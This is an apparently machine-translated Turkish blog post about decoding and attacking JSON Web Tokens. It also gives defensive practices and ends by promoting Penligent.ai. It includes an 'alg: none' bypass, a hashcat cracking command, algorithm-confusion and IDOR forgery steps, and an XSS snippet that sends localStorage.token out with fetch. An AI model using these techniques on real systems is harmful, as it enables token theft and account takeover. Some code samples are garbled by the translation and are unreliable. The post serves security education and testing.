Bir JWT'nin Kodunu Çözmek Aslında Ne Anlama Gelir?
Bir JWT'nin kodunu çözmek, algoritmayı, meta verileri ve token içindeki talepleri ortaya çıkarmak için yalnızca Base64URL kodlu olan üstbilgisini ve yükünü çıkarmak anlamına gelir. Bu işlem şunları yapar değil gerçekliğini doğrulamak. Herkes bir JWT'nin kodunu çözebilir, ancak sadece imzayı doğrulamak belirtecin güvenilir olup olmadığını belirler. Bu ayrım, güvenli kimlik doğrulama ve sızma testleri için çok önemlidir.

JWT Kod Çözme Dahili Olarak Nasıl Çalışır?
Bir JSON Web Belirteci şunlardan oluşur:
css
header.payload.signature Hem başlık hem de yük Base64URL ile kodlanmış JSON nesneleridir. Örneğin:
json
// Başlık
{
"alg": "HS256",
"typ": "JWT"
}
// Yük
{
"kullanıcı adı": "admin",
"rol": "SuperUser"
}
Manuel kod çözme yalnızca Base64URL işlemleri gerektirir:
python
base64, json içe aktar
def decode_part(segment):
padded = segment + "=" * (-len(segment) % 4)
return json.loads(base64.urlsafe_b64decode(padded))
header, payload, _ = token.split(".")
print(decode_part(header))
print(decode_part(payload))
Bu, temel bir güvenlik gerçeğini ortaya koymaktadır: JWT kod çözme işlemi güven anlamına gelmez. Meşru doğrulama, imzanın, düzenleyicinin, hedef kitlenin, sürenin ve imzalama algoritmasının kontrol edilmesini gerektirir.

JWT Belirteçlerinin Kodunu Çözmek için Popüler Araçlar
| Alet | Güç | Bağlantı |
|---|---|---|
| JWT.io | Gerçek zamanlı kod çözme, hızlı deneyler | https://jwt.io |
| SuperTokens Kod Çözücü | Temiz, geliştirici dostu kullanıcı arayüzü | https://supertokens.com/jwt-encoder-decoder |
| Auth0 Belirteç Hata Ayıklayıcı | Kurumsal düzeyde doğrulama | https://auth0.com/docs/tokens |
| PyJWT | CLI + Python kütüphanesi | https://pyjwt.readthedocs.io |
| jwt-decode (JS) | Hafif tarayıcı tarafı kod çözücü | https://www.npmjs.com/package/jwt-decode |
Pentestlerde Görülen Gerçek Dünya JWT Saldırı Örnekleri
JWT kod çözme işlemi, saldırganlar tarafından imza kusurları, zayıf gizli diziler ve güvenli olmayan doğrulama ile birleştirildiğinde tehlikeli hale gelir. İşte gerçek dünya etkileşimlerinde sıklıkla ortaya çıkan saldırı senaryoları.
"alg: none" İmza Bypass
Eski kütüphaneler imzasız JWT'leri kabul ediyordu:
json
{
"alg": "yok",
"typ": "JWT"
}
Saldırganlar imzayı tamamen kaldırabilir ve sır olmadan kimlik doğrulaması yapabilir.
Zayıf Gizli Kaba Kuvvet (HS256)
Geliştiriciler genellikle aşağıdaki gibi sırlar kullanır:
nginx
gizli
admin123
şifre
Saldırganlar Hashcat kullanıyor:
css
hashcat -a 0 -m 16500 token.hash wordlist.txt
Algoritma Karışıklığı (RS256 → HS256)
Saldırgan:
- Algoritma değişiklikleri
RS256içinHS256 - Sunucunun ortak anahtarını HMAC sırrı olarak kullanır
- Yönetici rolleri veren geçerli belirteçler oluşturur
Bu, şimdiye kadar keşfedilen en etkili JWT saldırılarından biri olmaya devam ediyor.

XSS yoluyla Token Hırsızlığı
Eğer JWT'ler localStoragesaldırganlar onları çalabilir:
javascript
<script>
fetch("" + localStorage.token);
</script>
Token Maruziyetine Yol Açan CORS Yanlış Yapılandırması
CORS politikaları joker karakterlere izin veriyorsa, tarayıcı istekleri JWT çerezlerini saldırgan kontrolündeki etki alanlarına sızdırabilir.
Uzun Ömürlü Mobil Tokenlarda Tekrarlama Saldırıları
Saldırganlar belirteçleri çıkarır:
- şifrelenmemiş yerel depolama
- köklü cihazlar
- güvensiz önbellekler
Tekrar oynatma MFA'yı tamamen atlayabilir.
Çok Dilli JWT Kod Çözme ve Doğrulama Kodu
Node.js
javascript
const jwt = require("jsonwebtoken");
const decoded = jwt.verify(token, PUBLIC_KEY, {
algoritmalar: ["RS256"],
issuer: "auth.example.com",
izleyici: "example.com"
});
console.log(decoded);
Git
git
token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
return []byte("secret"), nil
})
Pas
pas
let decoded = decode::(
Token,
&DecodingKey::from_secret(secret.as_ref()),
&Validation::new(Algorithm::HS256)
);
Pentesterler için Manuel JWT Kod Çözme İş Akışı
Pentestler sırasında JWT kod çözme ortaya çıkar:
- düz metin olarak saklanan ayrıcalıklar
- eksik
expveyaiat - yanlış yapılandırılmış algoritma
- yükteki hassas veriler
- olası ayrıcalık yükseltme vektörleri
Test uzmanları bozuk erişim kontrolünü bu şekilde tespit eder ve rolleri yükseltir.
Manuel JavaScript Kod Çözücü (Kütüphane Yok)
javascript
function decode(seg) {
seg = seg.replace(/-/g, "+").replace(/_/g, "/");
seg += "=".repeat((4 - seg.length % 4) % 4);
return JSON.parse(atob(seg));
}
Gelişmiş JWT Saldırı Zincirleri (Kırmızı Takım Senaryoları)
JWT + IDOR → Tam Hesap Devri
Akış:
- JWT kodunu çözme
- değişim
"alt": "501"için"alt": "1" - yeniden imzalama veya imzayı atlama
- ayrıcalıklı uç noktayı vur
- ayrıcalıkları yükseltmek
Bu zincir, kurumsal değerlendirmelerde neredeyse her hafta karşımıza çıkmaktadır.
JWT + Mikro Hizmet Kimliğe Bürünme
Zayıf dahili doğrulama, saldırganların hizmetleri taklit etmesine olanak tanır:
- fatura verilerine erişim
- kullanıcı izinlerini değiştirme
- mesaj kuyruklarını okuma
- API ağ geçitlerini atlayın
En İyi Savunma Uygulamaları (Mavi Takım)
Sıkı Algoritma Uygulaması
python
jwt.decode(token, key, algorithms=["RS256"])
HS256 için Güçlü Sırlar
Kullanarak oluşturun:
perl
openssl rand -hex 32
Standart Talepleri Doğrulayın
exp
iss
aud
nbf
JWT'yi HttpOnly Çerezlerinde Saklayın
XSS belirteç hırsızlığını azaltır.
Anahtar Rotasyonunu Uygula
Dağıtılmış anahtar yönetimi için JWKS kullanın:
JWT Güvenlik Analizi Entegre Edildi Penligent.ai
Modern kimlik doğrulama sistemleri genellikle her biri kendi JWT mantığına sahip düzinelerce mikro hizmet kullanır. Manuel inceleme yavaş ve hataya açık hale gelir. Penligent.aiakıllı sızma testi platformu, JWT analizini doğrudan otomatik güvenlik iş akışlarına entegre ediyor.
Penligent.ai gerçekleştirir:
- i̇mza doğrulama kontrolleri̇
- Hibrit CPU/GPU kırma kullanarak zayıf sır tespiti
- algoritma uyuşmazlığı tespiti
- talep manipülasyon testleri
- tekrar ve yenileme belirteci kötüye kullanım simülasyonları
- JS paketlerinde token sızıntısı taraması
- tutarsız JWT doğrulamasını tespit etmek için uç nokta korelasyonu
Ayrıca, aşağıdaki gibi istismar zincirlerini de yeniden yapılandırır:
- RS256 → HS256 anahtar karışıklığı
- Kurcalanmış IDOR
altiddia - sahtecilik yoluyla ayrıcalık yükseltme
rolalanlar
Büyük uygulamalar için bu otomatik JWT analizi, geleneksel araçların genellikle gözden kaçırdığı güvenlik açıklarını ortaya çıkarırken manuel iş yükünü önemli ölçüde azaltır.
Kapsamlı JWT Saldırı ve Savunma Matrisi
| Saldırı | Açıklama | Örnek | Savunma |
|---|---|---|---|
| alg: yok | İmzayı kaldırır | Boş imza alanı | İmzasız JWT'leri reddetme |
| RS→HS Karışıklığı | HMAC sırrı olarak kullanılan açık anahtar | Sahte yönetici belirteci | Algoritmayı uygula |
| Zayıf Sır | Kaba kuvvet HS256 | "password123" gizli | 32 baytlık rastgele anahtar |
| Tahrif Edilmiş Hasarlar | Rolü/alt rolü değiştir | "admin" rolü | Sunucu tarafı yetkilendirme |
| XSS Hırsızlığı | JS, JWT'yi çalıyor | localStorage.token | HttpOnly çerezleri |
| Tekrar Saldırı | Yeniden kullanım belirteci | Mobil uygulamalar | Kısa TTL, rotasyon |
| Sızdırılan Dahili Jetonlar | Hizmet kimliğine bürünme | Mikro Hizmetler | mTLS, JWKS, kapsamlar |
Son Düşünceler
Bir JWT'nin kodunu çözmek yalnızca başlangıçtır. Gerçek güvenlik imzaların doğrulanması, katı algoritmaların uygulanması, taleplerin doğrulanması, anahtarların döndürülmesi ve belirteçlerin güvenli bir şekilde saklanmasıyla sağlanır. Modern uygulamalar büyük ölçüde token tabanlı kimlik doğrulamaya dayanır ve bu da JWT doğruluğunu güvenlik duruşunun çok önemli bir parçası haline getirir.
Güçlü mühendislik uygulamalarını aşağıdaki gibi otomatik güvenlik platformlarıyla birleştirerek Penligent.aiBu sayede kurumlar yanlış yapılandırmaları hızla tespit edebilir, ayrıcalık yükseltme saldırılarını önleyebilir ve kimlik doğrulama sistemlerinin modern düşmanca tekniklere karşı dayanıklı olmasını sağlayabilir.
